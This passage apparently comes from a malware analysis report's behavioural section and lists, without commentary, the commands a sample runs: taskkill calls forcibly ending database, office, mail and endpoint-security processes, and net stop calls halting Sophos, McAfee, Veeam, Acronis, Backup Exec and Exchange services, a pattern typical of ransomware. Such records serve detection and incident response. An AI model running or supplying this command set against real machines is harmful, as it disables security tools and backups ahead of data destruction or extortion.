Behavioral Analysis

taskkill.exe "C:\Windows\System32\taskkill.exe" /IM zoolz.exe /F

taskkill.exe "C:\Windows\System32\taskkill.exe" /IM agntsvc.exe /F

taskkill.exe "C:\Windows\System32\taskkill.exe" /IM dbeng50.exe /F

taskkill.exe "C:\Windows\System32\taskkill.exe" /IM dbsnmp.exe /F

taskkill.exe "C:\Windows\System32\taskkill.exe" /IM encsvc.exe /F

taskkill.exe "C:\Windows\System32\taskkill.exe" /IM excel.exe /F

taskkill.exe "C:\Windows\System32\taskkill.exe" /IM firefoxconfig.exe /F

taskkill.exe "C:\Windows\System32\taskkill.exe" /IM infopath.exe /F

taskkill.exe "C:\Windows\System32\taskkill.exe" /IM isqlplussvc.exe /F

taskkill.exe "C:\Windows\System32\taskkill.exe" /IM msaccess.exe /F

taskkill.exe "C:\Windows\System32\taskkill.exe" /IM msftesql.exe /F

taskkill.exe "C:\Windows\System32\taskkill.exe" /IM mspub.exe /F

taskkill.exe "C:\Windows\System32\taskkill.exe" /IM mydesktopqos.exe /F

taskkill.exe "C:\Windows\System32\taskkill.exe" /IM mydesktopservice.exe /F

taskkill.exe "C:\Windows\System32\taskkill.exe" /IM mysqld.exe /F

taskkill.exe "C:\Windows\System32\taskkill.exe" /IM mysqld-nt.exe /F

taskkill.exe "C:\Windows\System32\taskkill.exe" /IM mysqld-opt.exe /F

taskkill.exe "C:\Windows\System32\taskkill.exe" /IM ocautoupds.exe /F

taskkill.exe "C:\Windows\System32\taskkill.exe" /IM ocomm.exe /F

taskkill.exe "C:\Windows\System32\taskkill.exe" /IM ocssd.exe /F

taskkill.exe "C:\Windows\System32\taskkill.exe" /IM onenote.exe /F

taskkill.exe "C:\Windows\System32\taskkill.exe" /IM oracle.exe /F

taskkill.exe "C:\Windows\System32\taskkill.exe" /IM outlook.exe /F

taskkill.exe "C:\Windows\System32\taskkill.exe" /IM powerpnt.exe /F

taskkill.exe "C:\Windows\System32\taskkill.exe" /IM sqbcoreservice.exe /F

taskkill.exe "C:\Windows\System32\taskkill.exe" /IM sqlagent.exe /F

taskkill.exe "C:\Windows\System32\taskkill.exe" /IM sqlbrowser.exe /F

taskkill.exe "C:\Windows\System32\taskkill.exe" /IM sqlservr.exe /F

taskkill.exe "C:\Windows\System32\taskkill.exe" /IM sqlwriter.exe /F

taskkill.exe "C:\Windows\System32\taskkill.exe" /IM steam.exe /F

taskkill.exe "C:\Windows\System32\taskkill.exe" /IM synctime.exe /F

taskkill.exe "C:\Windows\System32\taskkill.exe" /IM tbirdconfig.exe /F

taskkill.exe "C:\Windows\System32\taskkill.exe" /IM thebat.exe /F

taskkill.exe "C:\Windows\System32\taskkill.exe" /IM thebat64.exe /F

taskkill.exe "C:\Windows\System32\taskkill.exe" /IM thunderbird.exe /F

taskkill.exe "C:\Windows\System32\taskkill.exe" /IM visio.exe /F

taskkill.exe "C:\Windows\System32\taskkill.exe" /IM winword.exe /F

taskkill.exe "C:\Windows\System32\taskkill.exe" /IM wordpad.exe /F

taskkill.exe "C:\Windows\System32\taskkill.exe" /IM xfssvccon.exe /F

taskkill.exe "C:\Windows\System32\taskkill.exe" /IM tmlisten.exe /F

taskkill.exe "C:\Windows\System32\taskkill.exe" /IM PccNTMon.exe /F

taskkill.exe "C:\Windows\System32\taskkill.exe" /IM CNTAoSMgr.exe /F

taskkill.exe "C:\Windows\System32\taskkill.exe" /IM Ntrtscan.exe /F

taskkill.exe "C:\Windows\System32\taskkill.exe" /IM mbamtray.exe /F

net.exe "C:\Windows\System32\net.exe" stop "Acronis VSS Provider" /y

net.exe "C:\Windows\System32\net.exe" stop "Enterprise Client Service" /y

net.exe "C:\Windows\System32\net.exe" stop "Sophos Agent" /y

net.exe "C:\Windows\System32\net.exe" stop "Sophos AutoUpdate Service" /y

net.exe "C:\Windows\System32\net.exe" stop "Sophos Clean Service" /y

net.exe "C:\Windows\System32\net.exe" stop "Sophos Device Control Service" /y

net.exe "C:\Windows\System32\net.exe" stop "Sophos File Scanner Service" /y

net.exe "C:\Windows\System32\net.exe" stop "Sophos Health Service" /y

net.exe "C:\Windows\System32\net.exe" stop "Sophos MCS Agent" /y

net.exe "C:\Windows\System32\net.exe" stop "Sophos MCS Client" /y

net.exe "C:\Windows\System32\net.exe" stop "Sophos Message Router" /y

net.exe "C:\Windows\System32\net.exe" stop "Sophos Safestore Service" /y

net.exe "C:\Windows\System32\net.exe" stop "Sophos System Protection Service" /y

net.exe "C:\Windows\System32\net.exe" stop "Sophos Web Control Service" /y

net.exe "C:\Windows\System32\net.exe" stop "SQLsafe Backup Service" /y

net.exe "C:\Windows\System32\net.exe" stop "SQLsafe Filter Service" /y

net.exe "C:\Windows\System32\net.exe" stop "Symantec System Recovery" /y

net.exe "C:\Windows\System32\net.exe" stop "Veeam Backup Catalog Data Service" /y

net.exe "C:\Windows\System32\net.exe" stop AcronisAgent /y

net.exe "C:\Windows\System32\net.exe" stop AcrSch2Svc /y

net.exe "C:\Windows\System32\net.exe" stop Antivirus /y

net.exe "C:\Windows\System32\net.exe" stop ARSM /y

net.exe "C:\Windows\System32\net.exe" stop BackupExecAgentAccelerator /y

net.exe "C:\Windows\System32\net.exe" stop BackupExecAgentBrowser /y

net.exe "C:\Windows\System32\net.exe" stop BackupExecDeviceMediaService /y

net.exe "C:\Windows\System32\net.exe" stop BackupExecJobEngine /y

net.exe "C:\Windows\System32\net.exe" stop BackupExecManagementService /y

net.exe "C:\Windows\System32\net.exe" stop BackupExecRPCService /y

net.exe "C:\Windows\System32\net.exe" stop BackupExecVSSProvider /y

net.exe "C:\Windows\System32\net.exe" stop bedbg /y

net.exe "C:\Windows\System32\net.exe" stop DCAgent /y

net.exe "C:\Windows\System32\net.exe" stop EPSecurityService /y

net.exe "C:\Windows\System32\net.exe" stop EPUpdateService /y

net.exe "C:\Windows\System32\net.exe" stop EraserSvc11710 /y

net.exe "C:\Windows\System32\net.exe" stop EsgShKernel /y

net.exe "C:\Windows\System32\net.exe" stop FA_Scheduler /y

net.exe "C:\Windows\System32\net.exe" stop IISAdmin /y

net.exe "C:\Windows\System32\net.exe" stop IMAP4Svc /y

net.exe "C:\Windows\System32\net.exe" stop macmnsvc /y

net.exe "C:\Windows\System32\net.exe" stop masvc /y

net.exe "C:\Windows\System32\net.exe" stop MBAMService /y

net.exe "C:\Windows\System32\net.exe" stop MBEndpointAgent /y

net.exe "C:\Windows\System32\net.exe" stop McAfeeEngineService /y

net.exe "C:\Windows\System32\net.exe" stop McAfeeFramework /y

net.exe "C:\Windows\System32\net.exe" stop McAfeeFrameworkMcAfeeFramework /y

net.exe "C:\Windows\System32\net.exe" stop McShield /y

net.exe "C:\Windows\System32\net.exe" stop McTaskManager /y

net.exe "C:\Windows\System32\net.exe" stop mfemms /y

net.exe "C:\Windows\System32\net.exe" stop mfevtp /y

net.exe "C:\Windows\System32\net.exe" stop MMS /y

net.exe "C:\Windows\System32\net.exe" stop mozyprobackup /y

net.exe "C:\Windows\System32\net.exe" stop MsDtsServer /y

net.exe "C:\Windows\System32\net.exe" stop MsDtsServer100 /y

net.exe "C:\Windows\System32\net.exe" stop MsDtsServer110 /y

net.exe "C:\Windows\System32\net.exe" stop MSExchangeES /y

net.exe "C:\Windows\System32\net.exe" stop MSExchangeIS /y

net.exe "C:\Windows\System32\net.exe" stop MSExchangeMGMT /y

net.exe "C:\Windows\System32\net.exe" stop MSExchangeMTA /y